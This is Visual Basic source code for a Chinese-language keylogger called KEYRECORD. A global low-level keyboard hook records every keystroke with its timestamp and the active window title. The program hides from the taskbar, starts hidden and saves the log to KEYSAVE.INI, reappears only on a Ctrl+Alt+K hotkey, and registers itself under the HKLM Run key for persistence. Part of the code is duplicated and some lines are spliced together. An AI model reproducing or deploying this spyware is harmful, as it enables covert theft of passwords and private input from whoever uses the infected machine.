Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Const HC_ACTION = 0
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public Const VK_TAB = &H9
Public Const VK_CONTROL = &H11
Public Const VK_ESCAPE = &H1BPublic Const WH_KEYBOARD_LL = 13
Public Const LLKHF_ALTDOWN = &H20Public Type KBDLLHOOKSTRUCT
vkCode As Long
scanCode As Long
flags As Long
time As Long
dwExtraInfo As Long
End Type
Declare Function IsIconic Lib "user32" (ByVal hwnd As Long) As Long
Declare Function IsWindowVisible Lib "user32" (ByVal hwnd As Long) As Long
Public Declare Function SetWindowPos Lib _
"user32" (ByVal hwnd As Long, _
ByVal hWndInsertAfter As Long, ByVal x As Long, _
ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, _
ByVal wFlags As Long) As Long
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Declare Function GetForegroundWindow Lib "user32" () As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Dim p As KBDLLHOOKSTRUCT, p2 As KBDLLHOOKSTRUCT
Public keyfile As String
Public isSave As Boolean
Public Num As Integer
Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
On Error Resume Next
Dim fEatKeystroke As Boolean, tt As Boolean
Dim KeyVal As String, saveini As String, ntime As String
Dim h As String * 255
Dim n As Integer, s As Integer, t As Integer
Static I As Boolean
If I = False Then
If isSave = True Then Print #22, Date: I = True
End If
If (nCode = HC_ACTION) Then
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
CopyMemory p, ByVal lParam, Len(p)
fEatKeystroke = False
If p.vkCode >= 48 And p.vkCode <= 57 Or p.vkCode >= 65 And p.vkCode <= 90 Then
kstate = GetKeyState(20)
Dim nflags As Boolean
If kstate = 1 Then
KeyVal = Chr(p.vkCode)
Else
KeyVal = LCase(Chr(p.vkCode))
End If
keyst = GetKeyState(18)
If keyst = -128 Or keyst = -127 Then
KeyVal = "Alt + " + KeyVal
nflags = True
End If
keyst = GetKeyState(16)
If keyst = -128 Or keyst = -127 Then
KeyVal = "Shift + " + KeyVal
nflags = True
End If
keyst = GetKeyState(17)
If keyst = -128 Or keyst = -127 Then
KeyVal = "Ctrl + " + KeyVal
nflags = True
End If
keyst = GetKeyState(91)
If keyst = -128 Or keyst = -127 Then
If InStr(KeyVal, "Windows") = 0 Then
KeyVal = "Windows + " + KeyVal
nflags = True
End If
End If
If nflags = True Then
KeyVal = Left(KeyVal, Len(KeyVal) - 1) + UCase(Right(KeyVal, 1))
End If
If InStr(KeyVal, "Ctrl + Alt + K") = 0 Then
ju = GetForegroundWindow()
GetWindowText ju, h, Len(h)
If InStr(h, "Program Manager") <> 0 Then h = "桌面"
If Asc(h) = 0 Then h = "任务栏"
If InStr(Str(time), "下午") <> 0 Then ntime = Trim(Str(Hour(time)) + 12) + Right(Str(time), 6) Else ntime = Str(time)
Form1.ListView1.ListItems.Add , , (KeyVal)
Form1.ListView1.ListItems(Num).SubItems(1) = ntime
Form1.ListView1.ListItems(Num).SubItems(2) = h
Num = Num + 1
If isSave = True Then
t = Form1.ListView1.ListItems.Count
If Len(KeyVal) > 48 Then KeyVal = Left(KeyVal, 48)
saveini = Form1.ListView1.ListItems(t) + Space(fmt(KeyVal)) + Form1.ListView1.ListItems(t).SubItems(1) + Space(10) + Form1.ListView1.ListItems(t).SubItems(2)
Print #22, saveini
End If
End If
Else
If p.vkCode >= 96 And p.vkCode <= 105 Then
KeyVal = "小键盘" + Str(p.vkCode - 96)
keyst = GetKeyState(18)
If keyst = -128 Or keyst = -127 Then
KeyVal = "Alt + " + KeyVal
End If
keyst = GetKeyState(16)
If keyst = -128 Or keyst = -127 Then
KeyVal = "Shift + " + KeyVal
End If
keyst = GetKeyState(17)
If keyst = -128 Or keyst = -127 Then
KeyVal = "Ctrl + " + KeyVal
End If
keyst = GetKeyState(91)
If keyst = -128 Or keyst = -127 Then
If InStr(KeyVal, "Windows") = 0 Then
KeyVal = "Windows + " + KeyVal
End If
End If
ju = GetForegroundWindow()
GetWindowText ju, h, Len(h)
If InStr(h, "Program Manager") <> 0 Then h = "桌面"
If Asc(h) = 0 Then h = "任务栏"
If InStr(Str(time), "下午") <> 0 Then ntime = Trim(Str(Hour(time)) + 12) + Right(Str(time), 6) Else ntime = Str(time)
Form1.ListView1.ListItems.Add , , (KeyVal)
Form1.ListView1.ListItems(Num).SubItems(1) = ntime
Form1.ListView1.ListItems(Num).SubItems(2) = h
Num = Num + 1
If isSave = True Then
t = Form1.ListView1.ListItems.Count
If Len(KeyVal) > 48 Then KeyVal = Left(KeyVal, 48)
saveini = Form1.ListView1.ListItems(t) + Space(fmt(KeyVal)) + Form1.ListView1.ListItems(t).SubItems(1) + Space(10) + Form1.ListView1.ListItems(t).SubItems(2)
Print #22, saveini
End If
Else
Select Case p.vkCode
Case 13
KeyVal = "Enter(回车)"
Case 20
aa = GetKeyState(20)
If aa = 0 Then
KeyVal = ("Caps Lock") + " 开"
Else
KeyVal = ("Caps Lock") + " 关"
End If
Case 27
KeyVal = "Esc"
Case 9
KeyVal = "Tab"
Case 91, 92
KeyVal = "Windows"
Case 93
KeyVal = ("Application")
Case 32
KeyVal = ("Space(空格)")
Case 8
KeyVal = ("BackSpace(退格)")
Case 37
KeyVal = ("Left(←)")
Case 38
KeyVal = ("Up(↑)")
Case 39
KeyVal = ("Right(→)")
Case 40
KeyVal = ("Down(↓)")
Case 192
KeyVal = "~ 符号"
Case 187
KeyVal = "+(加号)"
Case 189
KeyVal = "-(减号)"
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Const HC_ACTION = 0
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public Const VK_TAB = &H9
Public Const VK_CONTROL = &H11
Public Const VK_ESCAPE = &H1BPublic Const WH_KEYBOARD_LL = 13
Public Const LLKHF_ALTDOWN = &H20Public Type KBDLLHOOKSTRUCT
vkCode As Long
scanCode As Long
flags As Long
time As Long
dwExtraInfo As Long
End Type
Declare Function IsIconic Lib "user32" (ByVal hwnd As Long) As Long
Declare Function IsWindowVisible Lib "user32" (ByVal hwnd As Long) As Long
Public Declare Function SetWindowPos Lib _
"user32" (ByVal hwnd As Long, _
ByVal hWndInsertAfter As Long, ByVal x As Long, _
ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, _
ByVal wFlags As Long) As Long
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Declare Function GetForegroundWindow Lib "user32" () As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Dim p As KBDLLHOOKSTRUCT, p2 As KBDLLHOOKSTRUCT
Public keyfile As String
Public isSave As Boolean
Public Num As Integer
Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
On Error Resume Next
Dim fEatKeystroke As Boolean, tt As Boolean
Dim KeyVal As String, saveini As String, ntime As String
Dim h As String * 255
Dim n As Integer, s As Integer, t As Integer
Static I As Boolean
If I = False Then
If isSave = True Then Print #22, Date: I = True
End If
If (nCode = HC_ACTION) Then
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
CopyMemory p, ByVal lParam, Len(p)
fEatKeystroke = False
If p.vkCode >= 48 And p.vkCode <= 57 Or p.vkCode >= 65 And p.vkCode <= 90 Then
kstate = GetKeyState(20)
Dim nflags As Boolean
If kstate = 1 Then
KeyVal = Chr(p.vkCode)
Else
KeyVal = LCase(Chr(p.vkCode))
End If
keyst = GetKeyState(18)
If keyst = -128 Or keyst = -127 Then
KeyVal = "Alt + " + KeyVal
nflags = True
End If
keyst = GetKeyState(16)
If keyst = -128 Or keyst = -127 Then
KeyVal = "Shift + " + KeyVal
nflags = True
End If
keyst = GetKeyState(17)
If keyst = -128 Or keyst = -127 Then
KeyVal = "Ctrl + " + KeyVal
nflags = True
End If
keyst = GetKeyState(91)
If keyst = -128 Or keyst = -127 Then
If InStr(KeyVal, "Windows") = 0 Then
KeyVal = "Windows + " + KeyVal
nflags = True
End If
End If
If nflags = True Then
KeyVal = Left(KeyVal, Len(KeyVal) - 1) + UCase(Right(KeyVal, 1))
End If
If InStr(KeyVal, "Ctrl + Alt + K") = 0 Then
ju = GetForegroundWindow()
GetWindowText ju, h, Len(h)
If InStr(h, "Program Manager") <> 0 Then h = "桌面"
If Asc(h) = 0 Then h = "任务栏"
If InStr(Str(time), "下午") <> 0 Then ntime = Trim(Str(Hour(time)) + 12) + Right(Str(time), 6) Else ntime = Str(time)
Form1.ListView1.ListItems.Add , , (KeyVal)
Form1.ListView1.ListItems(Num).SubItems(1) = ntime
Form1.ListView1.ListItems(Num).SubItems(2) = h
Num = Num + 1
If isSave = True Then
t = Form1.ListView1.ListItems.Count
If Len(KeyVal) > 48 Then KeyVal = Left(KeyVal, 48)
saveini = Form1.ListView1.ListItems(t) + Space(fmt(KeyVal)) + Form1.ListView1.ListItems(t).SubItems(1) + Space(10) + Form1.ListView1.ListItems(t).SubItems(2)
Print #22, saveini
End If
End If
Else
If p.vkCode >= 96 And p.vkCode <= 105 Then
KeyVal = "小键盘" + Str(p.vkCode - 96)
keyst = GetKeyState(18)
If keyst = -128 Or keyst = -127 Then
KeyVal = "Alt + " + KeyVal
End If
keyst = GetKeyState(16)
If keyst = -128 Or keyst = -127 Then
KeyVal = "Shift + " + KeyVal
End If
keyst = GetKeyState(17)
If keyst = -128 Or keyst = -127 Then
KeyVal = "Ctrl + " + KeyVal
End If
keyst = GetKeyState(91)
If keyst = -128 Or keyst = -127 Then
If InStr(KeyVal, "Windows") = 0 Then
KeyVal = "Windows + " + KeyVal
End If
End If
ju = GetForegroundWindow()
GetWindowText ju, h, Len(h)
If InStr(h, "Program Manager") <> 0 Then h = "桌面"
If Asc(h) = 0 Then h = "任务栏"
If InStr(Str(time), "下午") <> 0 Then ntime = Trim(Str(Hour(time)) + 12) + Right(Str(time), 6) Else ntime = Str(time)
Form1.ListView1.ListItems.Add , , (KeyVal)
Form1.ListView1.ListItems(Num).SubItems(1) = ntime
Form1.ListView1.ListItems(Num).SubItems(2) = h
Num = Num + 1
If isSave = True Then
t = Form1.ListView1.ListItems.Count
If Len(KeyVal) > 48 Then KeyVal = Left(KeyVal, 48)
saveini = Form1.ListView1.ListItems(t) + Space(fmt(KeyVal)) + Form1.ListView1.ListItems(t).SubItems(1) + Space(10) + Form1.ListView1.ListItems(t).SubItems(2)
Print #22, saveini
End If
Else
Select Case p.vkCode
Case 13
KeyVal = "Enter(回车)"
Case 20
aa = GetKeyState(20)
If aa = 0 Then
KeyVal = ("Caps Lock") + " 开"
Else
KeyVal = ("Caps Lock") + " 关"
End If
Case 27
KeyVal = "Esc"
Case 9
KeyVal = "Tab"
Case 91, 92
KeyVal = "Windows"
Case 93
KeyVal = ("Application")
Case 32
KeyVal = ("Space(空格)")
Case 8
KeyVal = ("BackSpace(退格)")
Case 37
KeyVal = ("Left(←)")
Case 38
KeyVal = ("Up(↑)")
Case 39
KeyVal = ("Right(→)")
Case 40
KeyVal = ("Down(↓)")
Case 192
KeyVal = "~ 符号"
Case 187
KeyVal = "+(加号)"
Case 189
KeyVal = "-(减号)"
KeyVal = "[(方括号)"
Case 221
KeyVal = "](方括号)"
Case 186
KeyVal = ";(分号)"
Case 222
KeyVal = "‘(单引号)"
Case 191
KeyVal = "/(左斜杠)"
Case 220
KeyVal = "\(右斜杠)"
Case 188
KeyVal = ",(逗号)"
Case 190
KeyVal = "。(句号)"
Case 45
KeyVal = "Insert(插入)"
Case 46
KeyVal = "Delete(删除)"
Case 36
KeyVal = "Home"
Case 35
KeyVal = "End"
Case 33
KeyVal = "Page Up"
Case 34
KeyVal = "Page Down"
Case 145
If GetKeyState(145) = 1 Then
KeyVal = "Scroll Lock 关"
Else
KeyVal = "Scroll Lock 开"
End If
Case 19
KeyVal = "Pause Break"
Case 110
KeyVal = "小键盘 Del"
Case 107
KeyVal = "小键盘 +"
Case 109
KeyVal = "小键盘 -"
Case 106
KeyVal = "小键盘 *"
Case 111
KeyVal = "小键盘 /"
Case 144
If GetKeyState(144) = 1 Then
KeyVal = "Num Lock 关"
Else
KeyVal = "Num Lock 开"
End If
Case vbKeySnapshot
KeyVal = "Print Screen"
Case Else
tt = True
End Select
If p.vkCode >= 112 And p.vkCode <= 123 Then
tt = False
KeyVal = "F" + Trim(Str(p.vkCode - 111))
End If
keyst = GetKeyState(18)
If keyst = -128 Or keyst = -127 Then
KeyVal = "Alt + " + KeyVal
End If
keyst = GetKeyState(16)
If keyst = -128 Or keyst = -127 Then
KeyVal = "Shift + " + KeyVal
End If
keyst = GetKeyState(17)
If keyst = -128 Or keyst = -127 Then
KeyVal = "Ctrl + " + KeyVal
End If
keyst = GetKeyState(91)
If keyst = -128 Or keyst = -127 Then
If InStr(KeyVal, "Windows") = 0 Then
KeyVal = "Windows + " + KeyVal
End If
End If
If p.vkCode >= 112 And p.vkCode <= 123 Then
ju = GetForegroundWindow()
GetWindowText ju, h, Len(h)
If InStr(h, "Program Manager") <> 0 Then h = "桌面"
If Asc(h) = 0 Then h = "任务栏"
n = Len(KeyVal)
s = 0
For j = 1 To n
If Asc(Mid(KeyVal, j, 1)) < 0 Then
s = s + 1
End If
Next j
n = Len(KeyVal) + s
If InStr(Str(time), "下午") <> 0 Then ntime = Trim(Str(Hour(time)) + 12) + Right(Str(time), 6) Else ntime = Str(time)
Form1.ListView1.ListItems.Add , , (KeyVal)
Form1.ListView1.ListItems(Num).SubItems(1) = ntime
Form1.ListView1.ListItems(Num).SubItems(2) = h
Num = Num + 1
If isSave = True Then
t = Form1.ListView1.ListItems.Count
If Len(KeyVal) > 48 Then KeyVal = Left(KeyVal, 48)
saveini = Form1.ListView1.ListItems(t) + Space(fmt(KeyVal)) + Form1.ListView1.ListItems(t).SubItems(1) + Space(10) + Form1.ListView1.ListItems(t).SubItems(2)
Print #22, saveini
End If
Exit Function
End If
If KeyVal <> "" And tt = False Then
ju = GetForegroundWindow()
GetWindowText ju, h, Len(h)
If InStr(h, "Program Manager") <> 0 Then h = "桌面"
If Asc(h) = 0 Then h = "任务栏"
n = Len(KeyVal)
s = 0
For j = 1 To n
If Asc(Mid(KeyVal, j, 1)) < 0 Then
s = s + 1
End If
Next j
n = Len(KeyVal) + s
If InStr(Str(time), "下午") <> 0 Then ntime = Trim(Str(Hour(time)) + 12) + Right(Str(time), 6) Else ntime = Str(time)
Form1.ListView1.ListItems.Add , , (KeyVal)
Form1.ListView1.ListItems(Num).SubItems(1) = ntime
Form1.ListView1.ListItems(Num).SubItems(2) = h
Num = Num + 1
If isSave = True Then
t = Form1.ListView1.ListItems.Count
If Len(KeyVal) > 48 Then KeyVal = Left(KeyVal, 48)
saveini = Form1.ListView1.ListItems(t) + Space(fmt(KeyVal)) + Form1.ListView1.ListItems(t).SubItems(1) + Space(10) + Form1.ListView1.ListItems(t).SubItems(2)
Print #22, saveini
End If
End If
End If
End If
If Form1.ListView1.ListItems.Count >= 1 Then
Form1.cmdClear.Enabled = True
Form1.cmdCopy.Enabled = True
Form1.StatusBar1.Panels(1).Text = "当前项目数: " + Trim(Str(Form1.ListView1.ListItems.Count))
End If
End If
End If
If fEatKeystroke Then
LowLevelKeyboardProc = -1
Else
LowLevelKeyboardProc = CallNextHookEx(0, nCode, wParam, ByVal lParam)
End If
End Function
On Error Resume Next
Dim fEatKeystroke As Boolean, erg As Long
If (nCode = HC_ACTION) Then
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
CopyMemory p2, ByVal lParam, Len(p2)
fEatKeystroke = False
If p2.vkCode = 75 And (GetKeyState(17) = -127 Or GetKeyState(17) = -128) And (GetKeyState(18) = -128 Or GetKeyState(18) = -127) Then
Form1.Show
ShowWindow Form1.hwnd, 1
End If
End If
End If
If fEatKeystroke Then
Low = -1
Else
Low = CallNextHookEx(0, nCode, wParam, ByVal lParam)
End If
End FunctionPublic Function fmt(ByVal kv As String) As Integer
Dim wSum As Integer, nb As Integer
nb = Len(kv)
For I = 1 To nb
If Asc(Mid(kv, I, 1)) < 0 Then
wSum = wSum + 1
End If
Next I
fmt = 50 - (nb + wSum)
End Function
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const REG_SZ = 1'add a checkbox named chkDisable.caption="&Disable ALT-TAB, ALT-ESC, CTRL-ESC,LWin,RWin,Win+Any"
'to a new from named frmMain.frm in new project hook_kb_LL.vbp
'add code below:
Dim fla As Boolean
Dim hhkLowLevelKybd As Long, hhk As Long
Dim fla2 As BooleanPrivate Sub Check1_Click()
If Check1.Value = 1 Then
If fla = False And IsWindowVisible(Me.hwnd) <> 0 Then
MsgBox "主窗口隐藏后,按下Ctrl+Alt+K组合键即可再次调出主窗口。", , "键盘记录专家提示"
fla = True
End If
If IsWindowVisible(Me.hwnd) = 0 Then fla = True
Timer2.Enabled = True
Else
Timer2.Enabled = False
End If
End SubPrivate Sub Check2_Click()
If Check2.Value = 1 And IsWindowVisible(Me.hwnd) <> 0 Then
If fla = False Then
MsgBox "主窗口隐藏后,按下Ctrl+Alt+K组合键即可再次调出主窗口。", , "键盘记录专家提示"
fla = True
End If
End If
End SubPrivate Sub Check3_Click()
On Error Resume Next
Dim hReg As Long
Dim hmReg As Long
Dim appstr As String
Dim hKey As Long
appstr = App.Path + "\" + App.EXEName + ".exe"
If Check3.Value = 1 Then
hmReg = RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", hReg)
If hmReg <> 0 Then MsgBox "写入注册表启动项时失败", vbExclamation, "KEYRECORD": Exit Sub
Debug.Print appstr
RegSetValueEx hReg, "KEYRECORD.EXE", 0, REG_SZ, ByVal appstr, LenB(StrConv(appstr, vbFromUnicode))
RegCloseKey hReg
Else
RegOpenKey HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", hKey
hmReg = RegDeleteValue(hKey, "KEYRECORD.EXE")
If hmReg <> 0 Then MsgBox "删除指定项时失败", vbExclamation, "KEYRECORD": Exit Sub
RegCloseKey hKey
End If
End Sub
On Error Resume Next
If chkdisable = vbChecked Then
hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf LowLevelKeyboardProc, App.hInstance, 0)
Else
UnhookWindowsHookEx hhkLowLevelKybd
hhkLowLevelKybd = 0
End If
End SubPrivate Sub cmdClear_Click()
ListView1.ListItems.Clear
cmdCopy.Enabled = False
cmdClear.Enabled = False
StatusBar1.Panels(1).Text = "当前项目数: 0"
Num = 1
End SubPrivate Sub cmdClear_MouseMove(Button As Integer, Shift As Integer, x As Single, Y As Single)
StatusBar1.Panels(2).Text = "清除列表项目"
End SubPrivate Sub cmdCopy_Click()
Dim listvalue As String, listv As String
For I = 1 To ListView1.ListItems.Count
If Len(ListView1.ListItems(I)) > 48 Then
listv = Left(ListView1.ListItems(I), 48)
Else
listv = ListView1.ListItems(I)
End If
listvalue = listv + Space(fmt(ListView1.ListItems(I))) + ListView1.ListItems(I).SubItems(1) + Space(10) + ListView1.ListItems(I).SubItems(2)
Data = Data + listvalue + vbCrLf
Next I
Clipboard.Clear
Clipboard.SetText (Data)
End SubPrivate Sub cmdCopy_MouseMove(Button As Integer, Shift As Integer, x As Single, Y As Single)
StatusBar1.Panels(2).Text = "将当前列表项目复制到剪贴板"
End SubPrivate Sub Command1_Click()
Load Form3
Form3.Show vbModal
End SubPrivate Sub Command1_MouseMove(Button As Integer, Shift As Integer, x As Single, Y As Single)
StatusBar1.Panels(2).Text = "显示软件信息"
End SubPrivate Sub Command2_Click()
Unload Me
End Sub
Private Sub Command2_MouseMove(Button As Integer, Shift As Integer, x As Single, Y As Single)
StatusBar1.Panels(2).Text = "退出程序"
End SubPrivate Sub Command3_Click()
If fla = False Then
MsgBox "主窗口隐藏后,按下Ctrl+Alt+K组合键即可再次调出主窗口。", , "键盘记录专家提示"
fla = True
End If
Me.Hide
End SubPrivate Sub Command3_MouseMove(Button As Integer, Shift As Integer, x As Single, Y As Single)
StatusBar1.Panels(2).Text = "隐藏程序,转入后台执行"
End SubPrivate Sub Command4_Click()
Load Form2
Form2.Show vbModal
End SubPrivate Sub Command4_MouseMove(Button As Integer, Shift As Integer, x As Single, Y As Single)
StatusBar1.Panels(2).Text = "设置“自动保存”功能"
End SubPrivate Sub Form_Load()
On Error Resume Next
If App.PrevInstance = True Then
End
End If
keyfile = App.Path + "\KEYSAVE.INI"
Check1.Value = GetSetting(App.Title, Me.Name, "Check1", 0)
Check2.Value = GetSetting(App.Title, Me.Name, "Check2", 0)
Check3.Value = GetSetting(App.Title, Me.Name, "Check3", 0)If Check2.Value = 1 Then
Me.Hide
chkdisable.Value = 1
isSave = True
If Dir(keyfile, vbNormal Or vbHidden Or vbSystem) = "" Then
Open keyfile For Append As #22
att = GetAttr(keyfile)
Else
att = GetAttr(keyfile)
SetAttr keyfile, vbNormal
Open keyfile For Append As #22
End If
End If
App.TaskVisible = False
cmdCopy.Enabled = False
cmdClear.Enabled = False
ListView1.Font = "宋体"
ListView1.Font.Size = 9
hhk = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf Low, App.hInstance, 0)
ListView1.ListItems.Clear
ListView1.ColumnHeaders.Add , , "名称", 2500
ListView1.ColumnHeaders.Add , , "按键时间", 1500
ListView1.ColumnHeaders.Add , , "所在程序", 5000
ListView1.View = lvwReport
ListView1.FullRowSelect = True
ListView1.LabelEdit = lvwManual
ListView1.GridLines = True
Num = 1
StatusBar1.Panels.Add , , ""
StatusBar1.Panels.Add , , ""
StatusBar1.Panels(1).Width = 2000
StatusBar1.Panels(1).Text = "当前项目数: 0"
StatusBar1.Panels(2).Width = 3700
StatusBar1.Panels(3).Width = 1500
StatusBar1.Panels(3).Text = time
End SubPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, x As Single, Y As Single)
StatusBar1.Panels(2).Text = ""
End SubPrivate Sub Form_Unload(Cancel As Integer)
On Error Resume Next
Cancel = 1
StatusBar1.Panels(1).Text = "当前项目数: " + Trim(Str(Form1.ListView1.ListItems.Count))
m = MsgBox(" 是否现在退出?", vbYesNo, "确认退出")
If m = 6 Then
If hhkLowLevelKybd <> 0 Then UnhookWindowsHookEx hhkLowLevelKybd
If hhk <> 0 Then UnhookWindowsHookEx hhk
Close #22
Call SaveSetting(App.Title, Me.Name, "Check1", Check1.Value)
Call SaveSetting(App.Title, Me.Name, "Check2", Check2.Value)
Call SaveSetting(App.Title, Me.Name, "Check3", Check3.Value)
End
End IfEnd SubPrivate Sub ListView1_MouseMove(Button As Integer, Shift As Integer, x As Single, Y As Single)
StatusBar1.Panels(2).Text = ""
End SubPrivate Sub Timer1_Timer()
StatusBar1.Panels(3).Text = time
End SubPrivate Sub Timer2_Timer()
ismim = IsIconic(Me.hwnd)
If ismim <> 0 And IsWindowVisible(Me.hwnd) <> 0 Then
Me.Hide
End If
End SubPrivate Sub Check1_Click()
On Error Resume Next
Dim att As Integer
If Check1.Value = 1 Then
If Dir(keyfile, vbNormal Or vbHidden Or vbSystem) = "" Then
Open keyfile For Append As #22
att = GetAttr(keyfile)
Else
att = GetAttr(keyfile)
SetAttr keyfile, vbNormal
Open keyfile For Append As #22
End If
isSave = True
Else
Close #22
SetAttr keyfile, att
isSave = False
End If
End SubPrivate Sub Command1_Click()
Unload Me
End SubPrivate Sub Form_Load()Check1.FontName = "宋体"
Check1.FontSize = 9
Label1.FontName = "宋体"
Label1.FontSize = 9
Text1.Font = "宋体"
Text1.FontSize = 9
Label2.Font = "宋体"
Label2.FontSize = 9
Label1.Caption = " 选中“自动保存”后,键盘记录信息将自动保存到当前程序所在文件夹的KEYSAVE.INI文件中。"
Text1.Text = keyfile
If isSave = True Then Check1.Value = 1 Else Check1.Value = 0
End Sub